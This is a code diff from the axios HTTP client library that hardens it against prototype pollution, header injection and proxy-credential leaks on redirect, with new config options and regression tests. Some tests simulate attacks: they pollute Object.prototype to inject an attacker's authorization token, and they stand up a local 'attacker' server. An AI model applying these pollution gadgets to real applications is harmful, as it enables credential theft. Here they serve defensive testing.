prototype-pollution gadgets can't spoof FormData. const proto = getPrototypeOf(thing); if (!proto || proto === Object.prototype) return false; if (!isFunction(thing.append)) return false; const kind = kindOf(thing); - return kind === 'formdata' || + return ( + kind === 'formdata' || // detect form-data instance - (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]'); + (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') + ); }; /** @@ -411,8 +413,12 @@ function merge(...objs) { } const targetKey = (caseless && findKey(result, key)) || key; - if (isPlainObject(result[targetKey]) && isPlainObject(val)) { - result[targetKey] = merge(result[targetKey], val); + // Read via own-prop only — a bare `result[targetKey]` walks the prototype + // chain, so a polluted Object.prototype value could surface here and get + // copied into the merged result. + const existing = hasOwnProperty(result, targetKey) ? result[targetKey] : undefined; + if (isPlainObject(existing) && isPlainObject(val)) { + result[targetKey] = merge(existing, val); } else if (isPlainObject(val)) { result[targetKey] = merge({}, val); } else if (isArray(val)) { @@ -445,13 +451,17 @@ const extend = (a, b, thisArg, { allOwnKeys } = {}) => { (val, key) => { if (thisArg && isFunction(val)) { Object.defineProperty(a, key, { + // Null-proto descriptor so a polluted Object.prototype.get cannot + // hijack defineProperty's accessor-vs-data resolution. + __proto__: null, value: bind(val, thisArg), writable: true, enumerable: true, configurable: true, }); } else { Object.defineProperty(a, key, { + __proto__: null, value: val, writable: true, enumerable: true, @@ -490,12 +500,14 @@ const stripBOM = (content) => { const inherits = (constructor, superConstructor, props, descriptors) => { constructor.prototype = Object.create(superConstructor.prototype, descriptors); Object.defineProperty(constructor.prototype, 'constructor', { + __proto__: null, value: constructor, writable: true, enumerable: false, configurable: true, }); Object.defineProperty(constructor, 'super', { + __proto__: null, value: superConstructor.prototype, }); props && Object.assign(constructor.prototype, props);
README.md+22 −0 modified@@ -752,6 +752,11 @@ These are the available config options for making requests. Only the `url` is re firstName: 'Fred' }, + // `formDataHeaderPolicy` controls how node.js FormData#getHeaders() is copied. + // 'legacy' (default) copies all returned headers for v1 compatibility. + // 'content-only' copies only Content-Type and Content-Length. + formDataHeaderPolicy: 'legacy', + // syntax alternative to send data into the body // method post // only the value is sent, not the key @@ -846,6 +851,10 @@ These are the available config options for making requests. Only the `url` is re // `maxBodyLength` (Node only option) defines the max size of the http request content in bytes allowed maxBodyLength: 2000, + // `redact` masks matching config keys when AxiosError#toJSON() is called. + // Matching is case-insensitive and recursive. It does not change the request. + redact: ['authorization', 'password'], + // `validateStatus` defines whether to resolve or reject the promise for a given // HTTP response status code. If `validateStatus` returns `true` (or is set to `null` // or `undefined`), the promise will be resolved; otherwise, the promise will be @@ -1360,6 +1369,17 @@ axios.get('/user/12345').catch(function (error) { }); ``` +To avoid logging secrets from `error.config`, pass a `redact` array in the request config. Matching config keys are masked case-insensitively at any depth when `AxiosError#toJSON()` is called. + +```js +axios.get('/user/12345', { + headers: { Authorization: 'Bearer token' }, + redact: ['authorization'] +}).catch(function (error) { + console.log(error.toJSON().config.headers.Authorization); // [REDACTED ****] +}); +``` + ## Handling Timeouts ```js @@ -1601,6 +1621,8 @@ form.append('my_file', fs.createReadStream('/foo/bar.jpg')); axios.post('https://example.com', form); ``` +In node.js, when a `FormData` object provides `getHeaders()`, axios copies all returned headers by default for v1 compatibility. If the `FormData` object is custom or not fully trusted, set `formDataHeaderPolicy: 'content-only'` to copy only `Content-Type` and `Content-Length`, and set any other request headers explicitly with the request `headers` config. + ### 🆕 Automatic serialization to FormData Starting from `v0.27.0`, Axios supports automatic object serialization to a FormData object if the request `Content-Type`
tests/browser/cookies.browser.test.js+37 −0 modified@@ -41,6 +41,27 @@ describe('helpers::cookies (vitest browser)', () => { expect(cookies.read('bar')).toBe('def'); }); + it('reads cookies when the cookie separator has no following space', () => { + const descriptor = Object.getOwnPropertyDescriptor(document, 'cookie'); + + Object.defineProperty(document, 'cookie', { + configurable: true, + get() { + return 'foo=abc;bar=def'; + }, + }); + + try { + expect(cookies.read('bar')).toBe('def'); + } finally { + if (descriptor) { + Object.defineProperty(document, 'cookie', descriptor); + } else { + delete document.cookie; + } + } + }); + it('removes cookies', () => { cookies.write('foo', 'bar'); cookies.remove('foo'); @@ -53,4 +74,20 @@ describe('helpers::cookies (vitest browser)', () => { expect(document.cookie).toBe('foo=bar%20baz%25'); }); + + it('matches cookie names exactly even when the name contains regex metacharacters', () => { + // previously cookies.read built a RegExp by interpolating + // the requested name. Metacharacters could match a different cookie or trigger + // catastrophic backtracking. A name such as "X.Y" must not match a cookie called + // "XAY" set by the same site. + cookies.write('XAY', 'wrong'); + + expect(cookies.read('X.Y')).toBeNull(); + }); + + it('does not return a partial match for a name that is a prefix of another cookie', () => { + cookies.write('xsrf-token-extra', 'wrong'); + + expect(cookies.read('xsrf-token')).toBeNull(); + }); });
tests/browser/xsrf.browser.test.js+2 −2 modified@@ -180,9 +180,9 @@ describe('xsrf (vitest browser)', () => { }); }); - // GHSA-xx6v-rp6x-q39c: non-boolean truthy withXSRFToken must not short-circuit + // Non-boolean truthy withXSRFToken must not short-circuit // the same-origin check and leak the XSRF token cross-origin. - describe('GHSA-xx6v-rp6x-q39c non-boolean withXSRFToken', () => { + describe('non-boolean withXSRFToken', () => { afterEach(() => { delete Object.prototype.withXSRFToken; });
tests/unit/adapters/fetch.test.js+50 −50 modified@@ -582,35 +582,39 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => // Timing-sensitive: a 50ms abort race observed by a fake fetch can flake // under CI runner load even though the production code is fine. Retry as // a backstop. - it('should surface ETIMEDOUT when fetch rejects with a broken DOMException on abort (Safari)', { retry: 2 }, async () => { - const safariFetch = (url, init) => { - const signal = getFetchSignal(url, init); - - return new Promise((_resolve, reject) => { - const onAbort = () => { - signal.removeEventListener('abort', onAbort); - reject(createBrokenDOMExceptionLikeError()); - }; + it( + 'should surface ETIMEDOUT when fetch rejects with a broken DOMException on abort (Safari)', + { retry: 2 }, + async () => { + const safariFetch = (url, init) => { + const signal = getFetchSignal(url, init); + + return new Promise((_resolve, reject) => { + const onAbort = () => { + signal.removeEventListener('abort', onAbort); + reject(createBrokenDOMExceptionLikeError()); + }; - if (signal.aborted) return onAbort(); - signal.addEventListener('abort', onAbort); - }); - }; + if (signal.aborted) return onAbort(); + signal.addEventListener('abort', onAbort); + }); + }; - await assert.rejects( - () => - fetchAxios.get('/', { - timeout: 50, - env: { fetch: safariFetch }, - }), - (err) => { - assert.strictEqual(err.name, 'AxiosError'); - assert.strictEqual(err.code, 'ETIMEDOUT'); - assert.match(err.message, /timeout of 50ms exceeded/); - return true; - } - ); - }); + await assert.rejects( + () => + fetchAxios.get('/', { + timeout: 50, + env: { fetch: safariFetch }, + }), + (err) => { + assert.strictEqual(err.name, 'AxiosError'); + assert.strictEqual(err.code, 'ETIMEDOUT'); + assert.match(err.message, /timeout of 50ms exceeded/); + return true; + } + ); + } + ); }); it('should combine baseURL and url', async () => { @@ -629,7 +633,9 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => const server = await startHTTPServer( (req, res) => { let body = ''; - req.on('data', (chunk) => { body += chunk; }); + req.on('data', (chunk) => { + body += chunk; + }); req.on('end', () => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ method: req.method, url: req.url, body })); @@ -639,10 +645,9 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => ); try { - const { data } = await fetchAxios.query( - `http://localhost:${server.address().port}/search`, - { selector: 'field1' } - ); + const { data } = await fetchAxios.query(`http://localhost:${server.address().port}/search`, { + selector: 'field1', + }); assert.strictEqual(data.method, 'QUERY'); assert.strictEqual(data.url, '/search'); @@ -945,7 +950,7 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => }); }); - describe('size limits (GHSA-777c-7fjr-54vf)', () => { + describe('size limits', () => { it('should reject an outbound body that exceeds maxBodyLength with ERR_BAD_REQUEST', async () => { const server = await startHTTPServer( (req, res) => { @@ -1034,35 +1039,30 @@ describe.runIf(typeof fetch === 'function')('supports fetch with nodejs', () => it('should reject a data: URL whose decoded size exceeds maxContentLength (base64)', async () => { const payload = 'A'.repeat(4096); - const dataUrl = 'data:application/octet-stream;base64,' + Buffer.from(payload).toString('base64'); + const dataUrl = + 'data:application/octet-stream;base64,' + Buffer.from(payload).toString('base64'); // Use a dedicated instance without baseURL — combineURLs would otherwise // prepend baseURL to a data: URL and neutralise the pre-check. const bareAxios = axios.create({ adapter: 'fetch' }); - await assert.rejects( - bareAxios.get(dataUrl, { maxContentLength: 16 }), - (err) => { - assert.strictEqual(err.code, 'ERR_BAD_RESPONSE'); - assert.match(err.message, /maxContentLength size of 16 exceeded/); - return true; - } - ); + await assert.rejects(bareAxios.get(dataUrl, { maxContentLength: 16 }), (err) => { + assert.strictEqual(err.code, 'ERR_BAD_RESPONSE'); + assert.match(err.message, /maxContentLength size of 16 exceeded/); + return true; + }); }); it('should reject a data: URL whose body size exceeds maxContentLength (non-base64)', async () => { const dataUrl = 'data:text/plain,' + 'X'.repeat(4096); const bareAxios = axios.create({ adapter: 'fetch' }); - await assert.rejects( - bareAxios.get(dataUrl, { maxContentLength: 16 }), - (err) => { - assert.strictEqual(err.code, 'ERR_BAD_RESPONSE'); - assert.match(err.message, /maxContentLength size of 16 exceeded/); - return true; - } - ); + await assert.rejects(bareAxios.get(dataUrl, { maxContentLength: 16 }), (err) => { + assert.strictEqual(err.code, 'ERR_BAD_RESPONSE'); + assert.match(err.message, /maxContentLength size of 16 exceeded/); + return true; + }); }); it('should allow a response at or below maxContentLength', async () => {
tests/unit/adapters/http.test.js+399 −159 modified@@ -1012,9 +1012,7 @@ describe('supports http with nodejs', () => { ); try { - const response = await axios.get( - `http://user%:foo%zz@localhost:${server.address().port}/` - ); + const response = await axios.get(`http://user%:foo%zz@localhost:${server.address().port}/`); const base64 = Buffer.from('user%:foo%zz', 'utf8').toString('base64'); assert.strictEqual(response.data, `Basic ${base64}`); } finally { @@ -1184,7 +1182,7 @@ describe('supports http with nodejs', () => { } }); - it('should enforce maxContentLength for streamed responses (GHSA-vf2m-468p-8v99)', async () => { + it('should enforce maxContentLength for streamed responses', async () => { const size = 2 * 1024 * 1024; const body = Buffer.alloc(size, 0x63); const server = await startHTTPServer( @@ -1203,17 +1201,16 @@ describe('supports http with nodejs', () => { let bytesRead = 0; const err = await new Promise((resolve) => { - response.data.on('data', (chunk) => { bytesRead += chunk.length; }); + response.data.on('data', (chunk) => { + bytesRead += chunk.length; + }); response.data.on('error', resolve); response.data.on('end', () => resolve(null)); }); assert.ok(err, 'stream should emit an error'); assert.strictEqual(err.message, 'maxContentLength size of 1024 exceeded'); - assert.ok( - bytesRead <= 1024 * 64, - `stream should not deliver full payload; got ${bytesRead}` - ); + assert.ok(bytesRead <= 1024 * 64, `stream should not deliver full payload; got ${bytesRead}`); } finally { await stopHTTPServer(server); } @@ -1248,7 +1245,7 @@ describe('supports http with nodejs', () => { } }); - it('should enforce maxBodyLength for streamed uploads with maxRedirects: 0 (GHSA-5c9x-8gcm-mpgx)', async () => { + it('should enforce maxBodyLength for streamed uploads with maxRedirects: 0', async () => { let bytesReceived = 0; const server = await startHTTPServer( (req, res) => { @@ -1308,15 +1305,11 @@ describe('supports http with nodejs', () => { const payload = Buffer.alloc(512, 0x62); const source = stream.Readable.from([payload]); - const response = await axios.post( - `http://localhost:${server.address().port}/`, - source, - { - maxBodyLength: 1024, - maxRedirects: 0, - headers: { 'Content-Type': 'application/octet-stream' }, - } - ); + const response = await axios.post(`http://localhost:${server.address().port}/`, source, { + maxBodyLength: 1024, + maxRedirects: 0, + headers: { 'Content-Type': 'application/octet-stream' }, + }); assert.strictEqual(response.data.received, payload.length); } finally { @@ -2559,9 +2552,28 @@ describe('supports http with nodejs', () => { assert.strictEqual(options.headers.Host, 'example.com'); assert.strictEqual(options.headers.host, undefined); }); + + it('ignores polluted prototype Host fields when detecting user-supplied headers', () => { + Object.prototype.host = 'polluted.example.com'; + + const options = { + headers: {}, + beforeRedirects: {}, + hostname: '127.0.0.1', + port: 4000, + }; + + try { + __setProxy(options, proxyConfig, 'http://127.0.0.1:4000/'); + + assert.strictEqual(options.headers.host, '127.0.0.1:4000'); + } finally { + delete Object.prototype.host; + } + }); }); - describe('Proxy-Authorization header leak on redirect (GHSA-j5f8-grm9-p9fc)', () => { + describe('Proxy-Authorization header leak on redirect', () => { it('clears a stale Proxy-Authorization header when redirected request resolves to no proxy (configProxy=false)', () => { const options = { headers: {}, @@ -2571,7 +2583,11 @@ describe('supports http with nodejs', () => { port: 80, }; - __setProxy(options, { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, 'http://initial.example.com/start'); + __setProxy( + options, + { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, + 'http://initial.example.com/start' + ); assert.strictEqual( options.headers['Proxy-Authorization'], 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), @@ -2637,9 +2653,12 @@ describe('supports http with nodejs', () => { 'stale Proxy-Authorization must be stripped when redirect target is covered by NO_PROXY' ); } finally { - if (originalHttpProxy === undefined) delete process.env.http_proxy; else process.env.http_proxy = originalHttpProxy; - if (originalHttpsProxy === undefined) delete process.env.https_proxy; else process.env.https_proxy = originalHttpsProxy; - if (originalNoProxy === undefined) delete process.env.no_proxy; else process.env.no_proxy = originalNoProxy; + if (originalHttpProxy === undefined) delete process.env.http_proxy; + else process.env.http_proxy = originalHttpProxy; + if (originalHttpsProxy === undefined) delete process.env.https_proxy; + else process.env.https_proxy = originalHttpsProxy; + if (originalNoProxy === undefined) delete process.env.no_proxy; + else process.env.no_proxy = originalNoProxy; } }); @@ -2652,8 +2671,15 @@ describe('supports http with nodejs', () => { port: 80, }; - __setProxy(options, { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, 'http://initial.example.com/start'); - assert.ok(options.headers['Proxy-Authorization'], 'precondition: initial proxy auth header set'); + __setProxy( + options, + { host: '127.0.0.1', port: 8030, auth: { username: 'user', password: 'pass' } }, + 'http://initial.example.com/start' + ); + assert.ok( + options.headers['Proxy-Authorization'], + 'precondition: initial proxy auth header set' + ); const redirectOptions = { headers: { ...options.headers }, @@ -2662,7 +2688,12 @@ describe('supports http with nodejs', () => { host: 'second.example.com', port: 80, }; - __setProxy(redirectOptions, { host: '127.0.0.2', port: 8031 }, 'http://second.example.com/final', true); + __setProxy( + redirectOptions, + { host: '127.0.0.2', port: 8031 }, + 'http://second.example.com/final', + true + ); assert.strictEqual( redirectOptions.headers['Proxy-Authorization'], @@ -2673,18 +2704,26 @@ describe('supports http with nodejs', () => { it('strips stale Proxy-Authorization when the beforeRedirects.proxy hook is invoked with configProxy=false', () => { const options = { - headers: { 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64') }, + headers: { + 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), + }, beforeRedirects: {}, hostname: 'initial.example.com', host: 'initial.example.com', port: 80, }; __setProxy(options, false, 'http://initial.example.com/start'); - assert.strictEqual(typeof options.beforeRedirects.proxy, 'function', 'initial setProxy must install redirect hook'); + assert.strictEqual( + typeof options.beforeRedirects.proxy, + 'function', + 'initial setProxy must install redirect hook' + ); const redirectOptions = { - headers: { 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64') }, + headers: { + 'Proxy-Authorization': 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'), + }, beforeRedirects: {}, hostname: 'attacker.example.com', host: 'attacker.example.com', @@ -2722,7 +2761,12 @@ describe('supports http with nodejs', () => { it('strips stale Proxy-Authorization regardless of header key casing', () => { const staleValue = 'Basic ' + Buffer.from('user:pass', 'utf8').toString('base64'); - const casings = ['proxy-authorization', 'PROXY-AUTHORIZATION', 'Proxy-authorization', 'pRoXy-AuThOrIzAtIoN']; + const casings = [ + 'proxy-authorization', + 'PROXY-AUTHORIZATION', + 'Proxy-authorization', + 'pRoXy-AuThOrIzAtIoN', + ]; for (const casing of casings) { const redirectOptions = { @@ -2745,6 +2789,77 @@ describe('supports http with nodejs', () => { ); } }); + + // End-to-end exercise of the redirect leak. An + // authenticated env-supplied proxy sees the initial request, 302s the + // client to a target that NO_PROXY excludes, and the redirected request + // must not carry the stale Proxy-Authorization to the direct target. + it('does not forward Proxy-Authorization to a redirect target that resolves to no-proxy', async () => { + const startServer = (handler) => + new Promise((resolve) => { + const s = http.createServer(handler); + s.listen(0, '127.0.0.1', () => resolve(s)); + }); + const stop = (s) => new Promise((r) => s.close(r)); + + let attackerPort; + const proxySaw = []; + const attackerSaw = []; + + // The proxy receives the absolute-form URL (`GET http://target/path`) on + // the initial request, then forwards to the destination. We short-circuit + // by responding directly with the redirect. + const corpProxy = await startServer((req, res) => { + proxySaw.push({ url: req.url, proxyAuth: req.headers['proxy-authorization'] }); + res.writeHead(302, { Location: `http://127.0.0.1:${attackerPort}/final` }); + res.end(); + }); + + const attacker = await startServer((req, res) => { + attackerSaw.push({ + url: req.url, + proxyAuth: req.headers['proxy-authorization'], + authorization: req.headers.authorization, + }); + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"final":true}'); + }); + attackerPort = attacker.address().port; + + const corpProxyPort = corpProxy.address().port; + const originalHttpProxy = process.env.http_proxy; + const originalNoProxy = process.env.no_proxy; + process.env.http_proxy = `http://user:pass@127.0.0.1:${corpProxyPort}`; + // NO_PROXY entry covers only the attacker target (port-specific), so the + // initial request still uses the proxy but the redirect resolves direct. + process.env.no_proxy = `127.0.0.1:${attackerPort}`; + + try { + await axios.get('http://example.com/start'); + + assert.ok( + proxySaw.some((h) => h.proxyAuth), + 'precondition: corp proxy must see Proxy-Authorization on the initial request' + ); + assert.strictEqual( + attackerSaw.length, + 1, + 'attacker target must receive exactly the redirected request' + ); + assert.strictEqual( + attackerSaw[0].proxyAuth, + undefined, + 'stale Proxy-Authorization must not leak to the redirect target' + ); + } finally { + if (originalHttpProxy === undefined) delete process.env.http_proxy; + else process.env.http_proxy = originalHttpProxy; + if (originalNoProxy === undefined) delete process.env.no_proxy; + else process.env.no_proxy = originalNoProxy; + await stop(corpProxy); + await stop(attacker); + } + }, 10000); }); it('should support cancel', async () => { @@ -3105,7 +3220,7 @@ describe('supports http with nodejs', () => { }); }); - describe('prototype pollution (GHSA-6chq-wfr3-2hj9)', () => { + describe('prototype pollution', () => { const pollutedKeys = ['getHeaders', 'append', 'pipe', 'on', 'once']; const toStringTagSym = Symbol.toStringTag; @@ -3114,11 +3229,18 @@ describe('supports http with nodejs', () => { Object.prototype.append = () => {}; Object.prototype.getHeaders = () => ({ 'x-injected': 'attacker', - 'authorization': 'Bearer ATTACKER_TOKEN', + authorization: 'Bearer ATTACKER_TOKEN', }); - Object.prototype.pipe = function (d) { if (d && d.end) d.end(); return d; }; - Object.prototype.on = function () { return this; }; - Object.prototype.once = function () { return this; }; + Object.prototype.pipe = function (d) { + if (d && d.end) d.end(); + return d; + }; + Object.prototype.on = function () { + return this; + }; + Object.prototype.once = function () { + return this; + }; } function cleanup() { @@ -3161,7 +3283,7 @@ describe('supports http with nodejs', () => { 'http://stub.invalid/', { userId: 42 }, { - headers: { 'Authorization': 'Bearer VALID_USER_TOKEN' }, + headers: { Authorization: 'Bearer VALID_USER_TOKEN' }, transport: stubTransport, maxRedirects: 0, } @@ -3176,6 +3298,97 @@ describe('supports http with nodejs', () => { assert.notStrictEqual(capturedHeaders['authorization'], 'Bearer ATTACKER_TOKEN'); }); }); + + describe('formDataHeaderPolicy', () => { + function createStubTransport(captureHeaders) { + return { + request(options, handleResponse) { + captureHeaders({ ...options.headers }); + const req = new EventEmitter(); + req.write = () => true; + req.setTimeout = () => {}; + req.destroy = () => {}; + req.end = () => { + const res = new stream.Readable({ read() {} }); + res.statusCode = 200; + res.statusMessage = 'OK'; + res.headers = {}; + res.rawHeaders = []; + res.req = req; + process.nextTick(() => { + handleResponse(res); + res.push(null); + }); + }; + return req; + }, + }; + } + + class CustomFormData extends stream.Readable { + _read() { + this.push(null); + } + append() {} + getHeaders() { + return { + 'content-type': 'multipart/form-data; boundary=----fake', + 'x-injected': 'custom', + 'x-forwarded-for': '10.0.0.1', + authorization: 'Bearer CUSTOM_TOKEN', + host: 'custom.example.com', + }; + } + get [Symbol.toStringTag]() { + return 'FormData'; + } + } + + it('preserves legacy getHeaders() propagation by default', async () => { + let capturedHeaders; + + await axios.post('http://stub.invalid/', new CustomFormData(), { + transport: createStubTransport((headers) => { + capturedHeaders = headers; + }), + maxRedirects: 0, + }); + + assert.ok(capturedHeaders, 'transport was not invoked'); + const ct = capturedHeaders['Content-Type'] || capturedHeaders['content-type']; + assert.match(ct, /multipart\/form-data/); + assert.strictEqual(capturedHeaders['x-injected'], 'custom'); + assert.strictEqual(capturedHeaders['x-forwarded-for'], '10.0.0.1'); + assert.strictEqual( + capturedHeaders.Authorization || capturedHeaders.authorization, + 'Bearer CUSTOM_TOKEN' + ); + assert.strictEqual(capturedHeaders.Host || capturedHeaders.host, 'custom.example.com'); + }); + + it('only copies content headers when formDataHeaderPolicy is content-only', async () => { + let capturedHeaders; + + await axios.post('http://stub.invalid/', new CustomFormData(), { + transport: createStubTransport((headers) => { + capturedHeaders = headers; + }), + maxRedirects: 0, + formDataHeaderPolicy: 'content-only', + }); + + assert.ok(capturedHeaders, 'transport was not invoked'); + const ct = capturedHeaders['Content-Type'] || capturedHeaders['content-type']; + assert.match(ct, /multipart\/form-data/); + assert.strictEqual(capturedHeaders['x-injected'], undefined); + assert.strictEqual(capturedHeaders['x-forwarded-for'], undefined); + assert.strictEqual( + capturedHeaders.Authorization || capturedHeaders.authorization, + undefined + ); + assert.strictEqual(capturedHeaders.Host || capturedHeaders.host, undefined); + }); + }); }); describe('toFormData helper', () => { @@ -4348,126 +4561,137 @@ describe('supports http with nodejs', () => { } }); - it('should use different sessions for requests with different http2Options set', { retry: 2 }, async () => { - const server = await startHTTPServer( - (req, res) => { - setTimeout(() => { - res.end('OK'); - }, 1000); - }, - { - useHTTP2: true, - } - ); - - try { - const localServerURL = `https://localhost:${server.address().port}`; - const http2Axios = createHttp2Axios(localServerURL); - - const [response1, response2] = await Promise.all([ - http2Axios.get(localServerURL, { - http2Options: { - sessionTimeout: 2000, - }, - }), - http2Axios.get(localServerURL, { - http2Options: { - sessionTimeout: 4000, - }, - }), - ]); + it( + 'should use different sessions for requests with different http2Options set', + { retry: 2 }, + async () => { + const server = await startHTTPServer( + (req, res) => { + setTimeout(() => { + res.end('OK'); + }, 1000); + }, + { + useHTTP2: true, + } + ); - assert.notStrictEqual(response1.request.session, response2.request.session); - assert.deepStrictEqual([response1.data, response2.data], ['OK', 'OK']); - } finally { - await stopHTTPServer(server); - } - }); + try { + const localServerURL = `https://localhost:${server.address().port}`; + const http2Axios = createHttp2Axios(localServerURL); - it('should use the same session for request with the same resolved http2Options set', { retry: 2 }, async () => { - const server = await startHTTPServer( - (req, res) => { - setTimeout(() => res.end('OK'), 1000); - }, - { - useHTTP2: true, + const [response1, response2] = await Promise.all([ + http2Axios.get(localServerURL, { + http2Options: { + sessionTimeout: 2000, + }, + }), + http2Axios.get(localServerURL, { + http2Options: { + sessionTimeout: 4000, + }, + }), + ]); + + assert.notStrictEqual(response1.request.session, response2.request.session); + assert.deepStrictEqual([response1.data, response2.data], ['OK', 'OK']); + } finally { + await stopHTTPServer(server); } - ); - - try { - const localServerURL = `https://localhost:${server.address().port}`; - const http2Axios = createHttp2Axios(localServerURL); + } + ); - const responses = await Promise.all([ - http2Axios.get(localServerURL, { - responseType: 'stream', - }), - http2Axios.get(localServerURL, { - responseType: 'stream', - http2Options: undefined, - }), - http2Axios.get(localServerURL, { - responseType: 'stream', - http2Options: {}, - }), - ]); + it( + 'should use the same session for request with the same resolved http2Options set', + { retry: 2 }, + async () => { + const server = await startHTTPServer( + (req, res) => { + setTimeout(() => res.end('OK'), 1000); + }, + { + useHTTP2: true, + } + ); - assert.strictEqual(responses[1].data.session, responses[0].data.session); - assert.strictEqual(responses[2].data.session, responses[0].data.session); + try { + const localServerURL = `https://localhost:${server.address().port}`; + const http2Axios = createHttp2Axios(localServerURL); - assert.deepStrictEqual(await Promise.all(responses.map(({ data }) => getStream(data))), [ - 'OK', - 'OK', - 'OK', - ]); - } finally { - await stopHTTPServer(server); + const responses = await Promise.all([ + http2Axios.get(localServerURL, { + responseType: 'stream', + }), + http2Axios.get(localServerURL, { + responseType: 'stream', + http2Options: undefined, + }), + http2Axios.get(localServerURL, { + responseType: 'stream', + http2Options: {}, + }), + ]); + + assert.strictEqual(responses[1].data.session, responses[0].data.session); + assert.strictEqual(responses[2].data.session, responses[0].data.session); + + assert.deepStrictEqual( + await Promise.all(responses.map(({ data }) => getStream(data))), + ['OK', 'OK', 'OK'] + ); + } finally { + await stopHTTPServer(server); + } } - }); + ); - it('should use different sessions after previous session timeout', { retry: 2, timeout: 15000 }, async () => { - const server = await startHTTPServer( - (req, res) => { - setTimeout(() => res.end('OK'), 100); - }, - { - useHTTP2: true, - } - ); + it( + 'should use different sessions after previous session timeout', + { retry: 2, timeout: 15000 }, + async () => { + const server = await startHTTPServer( + (req, res) => { + setTimeout(() => res.end('OK'), 100); + }, + { + useHTTP2: true, + } + ); - try { - const localServerURL = `https://localhost:${server.address().port}`; - const http2Axios = createHttp2Axios(localServerURL); + try { + const localServerURL = `https://localhost:${server.address().port}`; + const http2Axios = createHttp2Axios(localServerURL); - const response1 = await http2Axios.get(localServerURL, { - responseType: 'stream', - http2Options: { - sessionTimeout: 1000, - }, - }); + const response1 = await http2Axios.get(localServerURL, { + responseType: 'stream', + http2Options: { + sessionTimeout: 1000, + }, + }); - const session1 = response1.data.session; - const data1 = await getStream(response1.data); + const session1 = response1.data.session; + const data1 = await getStream(response1.data); - await setTimeoutAsync(5000); + await setTimeoutAsync(5000); - const response2 = await http2Axios.get(localServerURL, { - responseType: 'stream', - http2Options: { - sessionTimeout: 1000, - }, - }); + const response2 = await http2Axios.get(localServerURL, { + responseType: 'stream', + http2Options: { + sessionTimeout: 1000, + }, + }); - const session2 = response2.data.session; - const data2 = await getStream(response2.data); + const session2 = response2.data.session; + const data2 = await getStream(response2.data); - assert.notStrictEqual(session1, session2); - assert.strictEqual(data1, 'OK'); - assert.strictEqual(data2, 'OK'); - } finally { - await stopHTTPServer(server); + assert.notStrictEqual(session1, session2); + assert.strictEqual(data1, 'OK'); + assert.strictEqual(data2, 'OK'); + } finally { + await stopHTTPServer(server); + } } - }); + ); }); }); @@ -4922,11 +5146,18 @@ describe('supports http with nodejs', () => { await setTimeoutAsync(0); const firstReq = createdReqs[0]; - assert.ok(firstReq && firstReq.destroyed === false, 'first request must not have been destroyed by a socket error'); + assert.ok( + firstReq && firstReq.destroyed === false, + 'first request must not have been destroyed by a socket error' + ); // Stray socket error after first req has closed: must not destroy firstReq. socket.emit('error', new Error('stray error after close')); - assert.strictEqual(firstReq.destroyed, false, 'socket error after close must not destroy the old request'); + assert.strictEqual( + firstReq.destroyed, + false, + 'socket error after close must not destroy the old request' + ); // Second request claims the socket, then its socket errors. It should reject. const err = await axios @@ -4937,7 +5168,11 @@ describe('supports http with nodejs', () => { assert.strictEqual(err.code, 'EPIPE'); const secondReq = createdReqs[1]; - assert.strictEqual(secondReq.destroyed, true, 'second request should be destroyed by its own active socket error'); + assert.strictEqual( + secondReq.destroyed, + true, + 'second request should be destroyed by its own active socket error' + ); }); }); @@ -5077,13 +5312,13 @@ describe('supports http with nodejs', () => { }, 30000); }); - describe('socketPath security (GHSA-j96w-fp6f-pq6v)', () => { + describe('socketPath security', () => { function makeSocketPath() { const pipe = `axios-socketpath-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2)}`; - return os.platform() === 'win32' ? - `\\\\.\\pipe\\${pipe}` : - path.join(os.tmpdir(), `${pipe}.sock`); + return os.platform() === 'win32' + ? `\\\\.\\pipe\\${pipe}` + : path.join(os.tmpdir(), `${pipe}.sock`); } function startUnixServer(socketPath) { @@ -5092,7 +5327,11 @@ describe('supports http with nodejs', () => { res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ ok: true, url: req.url })); }); - try { fs.unlinkSync(socketPath); } catch (_) { /* noop */ } + try { + fs.unlinkSync(socketPath); + } catch (_) { + /* noop */ + } server.once('error', rejectStart); server.listen(socketPath, () => resolveStart(server)); }); @@ -5101,7 +5340,11 @@ describe('supports http with nodejs', () => { function stopUnixServer(server, socketPath) { return new Promise((done) => { server.close(() => { - try { fs.unlinkSync(socketPath); } catch (_) { /* noop */ } + try { + fs.unlinkSync(socketPath); + } catch (_) { + /* noop */ + } done(); }); }); @@ -5193,15 +5436,12 @@ describe('supports http with nodejs', () => { }); it('rejects non-string socketPath', async () => { - await assert.rejects( - axios.get('http://localhost/echo', { socketPath: 12345 }), - (err) => { - assert.ok(err instanceof AxiosError); - assert.strictEqual(err.code, AxiosError.ERR_BAD_OPTION_VALUE); - assert.match(err.message, /socketPath must be a string/); - return true; - } - ); + await assert.rejects(axios.get('http://localhost/echo', { socketPath: 12345 }), (err) => { + assert.ok(err instanceof AxiosError); + assert.strictEqual(err.code, AxiosError.ERR_BAD_OPTION_VALUE); + assert.match(err.message, /socketPath must be a string/); + return true; + }); }); it('empty allowedSocketPaths array blocks all socketPath values', async () => {
